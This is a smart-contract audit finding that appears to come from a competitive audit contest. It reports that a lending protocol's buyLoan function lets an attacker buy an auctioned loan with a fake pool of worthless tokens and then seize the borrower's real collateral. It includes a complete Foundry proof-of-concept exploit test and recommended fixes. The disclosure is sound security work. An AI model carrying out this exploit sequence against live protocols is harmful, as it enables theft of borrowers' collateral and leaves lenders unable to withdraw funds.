20,000 USDC
View results
Submission Details
Severity: high
Valid

Attacker can steal a loan's collateral and break the protocol

Summary

The platform allows an attacker to steal an auctioned loan's collateral. The result of the attack is that

  • At some point, some lender will not be able to withdraw the invested loanToken used to create the pool (or add balance to the pool)

  • The attacker has stolen the whole loan's collateral amount (minus protocol fee) by just spending (loan.debt * borrowerFee / 10_000)

Vulnerability Details

The attack is pretty complex but is based on different issues that are present in the buyLoan function. This function allows

  • anyone to call the function even if msg.sender is not the owner of the poolId passed as parameter. The function at the very end will anyway set loan.lender = msg.sender and will update the newLoanPool.poolBalance and newLoanPool.outstandingLoans without the authorization of the newLoanPool real owner

  • do not check that the newLoanPool is compatible with the loan that will be bought. To be specific, the function does not check that newLoanPool.collateralToken == loan.collateralToken and newLoanPool.loanToken == loan.loanToken

We are in the current scenario

  • Alice creates alicePool with the following config

    • collateral token = collateralToken

    • loan token = loanToken

    • poolBalance = 1000 ether of loanToken

    • the other part of the config is not relevant

  • Bob borrows 100 ether of loanToken and provides 100 ether of collateralToken as collateral. This operation generates a Loan identified with the id bobLoan

  • Some time passes by and Alice decides that she wants to auction bobLoan. Alice calls startAuction(bobLoan)

At this point, the attack starts. Let's call Paul our attacker.

  • Paul creates a fake pool called fakePool with the following configuration:

    • collateral token = fakeCollateralToken. This token is a fresh and value-less ERC20 token that Paul deployed just before the pool creation.

    • loan token = fakeLoanToken. This token is a fresh and value-less ERC20 token that Paul deployed just before the pool creation.

    • poolBalance = 1000 ether of fakeLoanToken

    • interestRate = 1 wei. This allows Paul to be able to instantly buy the loan without waiting for the auction to decay the currentAuctionRate

    • the other part of the config is not relevant

  • Paul at this point has bought bobLoan spending value-less tokens by using a fakePool that uses tokens incompatible with alicePool and bobLoan

Already at this point, we have created a huge problem for the protocol because

  • Bob will not be able to refinance or repay the loan to take back the collateral. Those function would try to update a pool identified by (paul, loan.loanToken, loan.collateralToken) but such pool does not exist because the loan has been "bought" by using fakePool identified as (paul, fakeLoanToken, fakeCollateralToken). Because the pool with the tokens used by the Loan do not exist, both repay and refinance will revert to an underflow error

  • At some point some Lender won't be able to withdraw their loanToken because Paul has not provided any loanToken to create the fakePool but only an amount of fakeLoanToken

Paul now performs the final step to steal the collateral that Bob has provided to open the borrow position. To do so, Paul needs to seize bobLoan.

The only problem for Paul is that the function perform this operation at the very end

bytes32 poolId = keccak256(
abi.encode(loan.lender, loan.loanToken, loan.collateralToken)
);
// update the pool outstanding loans
pools[poolId].outstandingLoans -= loan.debt;

But at the moment pools[poolId] does not exist because Paul has only created a pool that uses the fake tokens. To be able to finish the attack, Paul needs to perform

  1. Paul creates a real pool called paulPool with the following configuration

    • collateral token = collateralToken (equal to bobLoan.collateralToken)

    • loan token = loanToken. (equal to bobLoan.loanToken)

    • poolBalance = bobLoan.debt ether of loanToken. We just need to make the seizeLoan function not revert when it updates the paulPool.outstandingLoans state variable

    • interestRate = 1 wei. This allows Paul to be able to instantly buy the loan without waiting for the auction to decay the currentAuctionRate

    • minLoanSize <= bobLoan.debt. In this case, we can set it to 1 wei

    • maxLoanRatio = type(uint256).max. The attacker wants to be able to provide less collateral as possible to perform the needed debt

  2. Paul perform an auto-borrow operation. Be borrows loanToken from his own paulPool to maximize the final profit, spending as less as possible. Paul borrows from paulPool bobLoan.debt tokens, providing only 1 wei of collateralToken. This is possible because paulPool.maxLoanRatio == type(uint256).max. By performing this operation, we now have paulPool.outstandingDebt == bobLoan.debt. At the end of the operation, Paul will have in his balance bobLoan.debt - borrowerProtocolFee of loanToken

  3. Paul calls startAuction([bobLoan]) starting the loan auction

  4. Paul calls seizeLoan([bobLoan]) that will seize bobLoan.collateral amount of collateralToken and will send them to the attacker (minus the protocol fee)

At the end of the attack, Paul has invested just bobLoan.debt * borrowerFee / 10_000 of loanToken to perform the needed borrow operation and has gained the whole bobLoan.collateral (minus the protocol fee).

Impact

The platform allows an attacker to steal an auctioned loan's collateral. The result of the attack is that

  • At some point, some lender will not be able to withdraw the invested loanToken used to create the pool (or add balance to the pool)

  • The attacker has stolen the whole loan's collateral amount (minus protocol fee) by just spending (loan.debt * borrowerFee / 10_000)

Tools Used

Manual + foundry test

BaseLender.sol utility contract

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract WrappedLender is Lender {
function getLoanDebtDetail(uint256 loanId) external view returns (uint256 fullDebt, uint256 interest, uint256 fees) {
Loan memory loan = loans[loanId];
// calculate the accrued interest
(interest, fees) = _calculateInterest(loan);
fullDebt = loan.debt + interest + fees;
}
function getPoolInfo(bytes32 poolId) external view returns (Pool memory) {
return pools[poolId];
}
function getLoanInfo(uint256 loanId) external view returns (Loan memory) {
return loans[loanId];
}
function calculateInterest(
Loan memory loan
) external view returns (uint256 interest, uint256 fees) {
return _calculateInterest(loan);
}
}
contract BaseLender is Test {
WrappedLender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public virtual {
lender = new WrappedLender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000 ether);
loanToken.mint(address(lender2), 100000 ether);
collateralToken.mint(address(borrower), 100000 ether);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
}
function borrow(address _borrower, bytes32 poolId) public {
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 ether,
collateral: 100 ether
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
vm.stopPrank();
}
function createPool(address _lender) public returns (bytes32){
vm.startPrank(_lender);
Pool memory p = Pool({
lender: _lender,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 ether,
poolBalance: 1000 ether,
maxLoanRatio: 2 ether,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
return poolId;
}
function startAuction(address _lender, uint256 loanId) public {
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
vm.prank(_lender);
lender.startAuction(loans);
}
function seizeLoan(uint256 loanId) public {
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
lender.seizeLoan(loans);
}
function getPoolId(address _lender) public returns (bytes32) {
return keccak256(
abi.encode(
address(_lender),
address(loanToken),
address(collateralToken)
)
);
}
}

AttackerStealLoanCollateral.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./BaseLender.sol";
contract AttackerStealLoanCollateralTest is BaseLender {
function setUp() override public {
super.setUp();
}
function testBuyLoanWithFakePool() public {
// The current implementation of `buyLoan` do not perform two important checks
// 1) does not check that the newPool lender is msg.sender and set the msg.sender = loan.lender
// this allows anyone to purchase the loan on behalf os someone else that has not given the authorization to do that
// 2) does not check that the newPool collateral token and loanToken are equal to the one of the loan
// this enable the attacker to purchase the loan by using some fake (valueless) token as pool tokens
// This allows the attacker to purchase the loan by using a "fake pool" that has been created with "fake tokens" as coll/loan tokens
// The attacker has not spent any of the original loan collateralToken or loanToken to deploy the pool
// And the loan.lender is now set to the attacker address
// Lender1 creates a pool with some valid loanToken and collateralToken funding the pool with 1000 ether of loanToken
bytes32 pool1 = createPool(lender1);
// A Borrower creates a loan taking 100 ether of loanToken in debt and providing 100 ether of collateralToken as collateral
borrow(borrower, pool1);
// the loanID
uint256 loanId = 0;
// warp some time and accrue interest, not needed but we want to be realistic
vm.warp(block.timestamp + 364 days + 12 hours);
// Lender1 decide to sell or liquidate the loan and starts an auction
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
vm.prank(lender1);
lender.startAuction(loans);
// We warp in the middle of the action to be able to purchase the loan
vm.warp(block.timestamp + 12 hours);
Loan memory loanBefore = lender.getLoanInfo(loanId);
address attacker = makeAddr("attacker");
// The attacker deploy a fake (valueless) erc20 token
// that will be used as loanToken and collateralToken for a fake-pool
// The attacker mint 100_000 ether of those token each and approve the Lending protocol for the max available amount
TERC20 fakeCollateralToken = new TERC20();
TERC20 fakeLoanToken = new TERC20();
vm.startPrank(attacker);
fakeCollateralToken.mint(attacker, 100_000 ether);
fakeCollateralToken.approve(address(lender), type(uint256).max);
fakeLoanToken.mint(attacker, 100_000 ether);
fakeLoanToken.approve(address(lender), type(uint256).max);
vm.stopPrank();
// The attacker create a fake-pool on the platform using those fake token as collateral and loan tokens
// The `interestRate` is set to 1 (minimum value) to be able to purchase the loan as soon as possible
// We are not interested anyway in this pool because we just need to be able to purchase the loan without paying
// anything that has a value. The pool is created by using `1000 ether` of the FAKE loan tokens!
vm.prank(attacker);
bytes32 fakePoolId = lender.setPool(Pool({
lender: attacker,
loanToken: address(fakeLoanToken),
collateralToken: address(fakeCollateralToken),
minLoanSize: 100 ether,
poolBalance: 1000 ether,
maxLoanRatio: 2 ether,
auctionLength: 1, // does not matter but lower is easier is to attack
interestRate: 1, // does not matter but lower is and easier is to attack
outstandingLoans: 0
}));
Pool memory fakePoolInfoBefore = lender.getPoolInfo(fakePoolId);
// the attacker purchase the loan with the fake pool
// the check `pools[poolId].interestRate > currentAuctionRate` is passed because our pool
// there is no check about newPool.collateralToken == loan.collateralToken
// there is no check about newPool.loanToken == loan.loanToken
// After the purchase we will be in this situation
// loan.lender = attacker
// loan.interestRate = 1
// fakePool.poolBalance = 1000 ether of fakeLoanToken - (loan.debt + lenderInterest + protocolInterest)
// fakePool.outstandingLoans = 0 + (loan.debt + lenderInterest + protocolInterest)
vm.prank(attacker);
lender.buyLoan(loanId, fakePoolId);
Pool memory fakePoolInfoAfter = lender.getPoolInfo(fakePoolId);
Loan memory loanAfter = lender.getLoanInfo(loanId);
// assert that the attacker was able to purchase the loan even if the pool's tokens are different compared to the loan's tokens
assertTrue( fakePoolInfoAfter.loanToken != loanAfter.loanToken );
assertTrue( fakePoolInfoAfter.collateralToken != loanAfter.collateralToken );
// assert that the lender of the loan's lender is indeed the attacker
assertEq( lender1, loanBefore.lender );
assertEq( fakePoolInfoAfter.lender, loanAfter.lender );
assertEq( fakePoolInfoAfter.lender, attacker );
// attacker pool variables have been updated
// The fakePool.poolBalance has been reduced by loan.debt + lenderInterest + protocolInterest
assertEq(fakePoolInfoBefore.poolBalance, 1000 ether);
assertLt(fakePoolInfoAfter.poolBalance, fakePoolInfoBefore.poolBalance);
// fakePool.outstandingLoans has been increased by loan.debt + lenderInterest + protocolInterest
assertEq(fakePoolInfoBefore.outstandingLoans, 0);
assertGt(fakePoolInfoAfter.outstandingLoans, fakePoolInfoBefore.outstandingLoans);
// At this point we know that the platform is already broken (we demostrated this with also another issue)
// 1) The loan cannot be seized/bought unless the ATTACKER decides so. The attacker also will not call `giveLoan`
// 2) The borrower cannot refinance the loan (changing the pool) because `refinance` function use a `poolId` generated by the `loan` info
// and this pool does not exist yet because poolIdFromLoan = (attacker, loanToken, collateralToken)
// while the pool created by the attackr is identified by the fakePoolId = (attacker, fakeLoanToken, fakeCollateralToken)
// because of this the `borrow` operation will fail for an underflow error when it tries to call `_updatePoolBalance`
// 3) The borrower cannot repay the loan for the same reason of point (2)
// 4) The protocol has already accumulated a loss because the loan has been purchased by a Pool that have NOT provided
// any loanToken. This mean that when the original pool1 owner will remove his capital he will remove the capital provided
// by someone else. At some point there will be a lender that will not be able to remove the capital because it will not be
// available in the Lender contract!
// Loan cannot be repaid by Borrower
{
loans = new uint256[](1);
loans[0] = loanId;
// Revert because of underflow
vm.prank(borrower);
vm.expectRevert(stdError.arithmeticError);
lender.repay(loans);
}
// Loan cannot be refinanced by Borrower
{
Refinance[] memory rs = new Refinance[](1);
rs[0] = Refinance({
loanId: loanId,
poolId: fakePoolId,
debt: 100 ether,
collateral: 100 ether
});
vm.prank(borrower);
// Revert because of underflow
vm.expectRevert(TokenMismatch.selector);
lender.refinance(rs);
}
// At this point the attacker want to finish his chained attack by STEALING the REAL collateral provided by the borrower for his loan
// What it needs to do is
// 1) create a "real" pool by using the real collateralToken and loanToken. The pool just need to provide `loanTokenAmount == originalLoan.debt` to make the attack
// 2) configure the pool with a maxLoanRatio = type(uint256).max (to be able to later borrow by using the lower amount of collateral possible)
// the rest of config does not matter much but we just set it to gain the max possible value from the attack
// 3) at this point he needs to create a loan by auto-borrowing from his own pool
// this is needed for two reasons
// 3a) First of all in order to later seize the `originalLoan` (the one made by `borrower`)
// we need to have the realAttackerPool.outstandingLoans == borrowerOriginalLoan.debt otherwise `seizeLoan` will revert for underflow
// 3b) By auto-borrowing we are not going to lose any (only the protocol fees) of the loanToken that we have sent to the `Lender` contract to deploy the pool
// 4) At this point the attackr call the borrow function by borrowing `originalLoan.debt` and providing ONLY 1 wei of collateral (because we have set maxLoanRatio = type(uint256).max)
// 5) The next step is to trigger an auction and wait for the auction to end to trigger the seize loan
// 6) When `seizeLoan` is called it will send the `originalLoan.collateral` to the `orignalLoan.lender` (attacker)
// At the end of the process the attacker has stolen from the platform the collateral of the original borrower (minus protocol fee)
vm.startPrank(attacker);
// The attacker just needs 1 wei of collateral token to perform the `borrow` operation
// because it will create the pool with `maxLoanRatio = type(uint256).max`
collateralToken.mint(attacker, 1);
collateralToken.approve(address(lender), 1);
// The attacker needs to fund the pool with just the `loanToken` needed to be able to perform the `borrow` operation
// without borrowing the `seizeLoan` operation (to steal the original borrower collateral) would revert for underflow
loanToken.mint(attacker, loanAfter.debt);
loanToken.approve(address(lender), loanAfter.debt);
vm.stopPrank();
// the amount we have invested into the attack
uint256 collateralTokenBalanceBefore = collateralToken.balanceOf(attacker);
uint256 loanTokenalanceBefore = loanToken.balanceOf(attacker);
// Attacker create the pool by funding it with `loanAfter.debt` amount of `loanToken`
// it's important to set `maxLoanRatio = type(uint256).max` to borrow from the pool with the minimum amount of collateral
// this allow us to "lose" less collateral possible
vm.prank(attacker);
bytes32 attackerPoolId = lender.setPool(Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 1,
poolBalance: loanAfter.debt,
maxLoanRatio: type(uint256).max,
auctionLength: 1, // does not matter but lower is easier is to attack
interestRate: 1, // does not matter but lower is and easier is to attack
outstandingLoans: 0
}));
// Attacker needs to borrow only what's needed to make `pool.outstandingLoans == loan.debt`
// In this way the `seize` operation will not revert for underflow
// because of how pool is configured he can just provide 1 wei of collateral.
// That's made possible by having `pool.maxLoanRatio = type(uint256).max`
// By auto-borrowing he's not losing the amount of `lendingToken` that have been provided by creating the pool
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: attackerPoolId,
debt: loanAfter.debt,
collateral: 1
});
vm.prank(attacker);
lender.borrow(borrows);
// Start the auction to self-liquidate the Loan of `borrower` that have been acquired from `pool1`
// Unfortunately we need to wait 1 full day even if the new pool have been configured with `auctionLength = 1 second`
// because when buying the loan this config is not updated on the loan itself (I think that this is a bug)
vm.prank(attacker);
lender.startAuction(loans);
// Wait until the auction has ended to be able to seize the original loan
vm.warp(block.timestamp + 1 days);
// attacker size the original Loan from the borrower
// that will send the collateral (of the original borrower) to our ourself
loans = new uint256[](1);
loans[0] = loanId;
vm.prank(attacker);
lender.seizeLoan(loans);
// at the very end the attacker must have gained both collateralToken and loanToken
// We got the whole loan collateral of the original loan minus 0,5% (protocol fee)
// In this case we invested 1 wei (to make the auto-borrow) of collateralToken to get back 99,5 ether of collateral token! (100 ether - 0,5% fee)
assertEq(collateralTokenBalanceBefore, 1);
assertEq(collateralToken.balanceOf(attacker), loanAfter.collateral - (loanAfter.collateral * lender.borrowerFee() / 10000));
// We got a little bit less of the total loanToken amount we have provided during the creation of the pool
// because the protocol take a 0.5% fee on the borrow operation but I woul say that the gain is much higher considering that we took the whole
// original loan collateral (minus protocol fee) by paing such a little
// in this specific scenario we have provided 110 ether of loanToken and we got back 109,45 ether!
assertEq(loanToken.balanceOf(attacker), loanTokenalanceBefore - (loanTokenalanceBefore * lender.borrowerFee() / 10000));
}
}

Recommendations

The buyFunction should perform additional checks

  • msg.sender must be the owner of the pool identified by the function input parameter poolId

  • The pools[poolId].collateralToken must be equal to loan.collateralToken and pools[poolId].loanToken must be equal to loan.loanToken

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.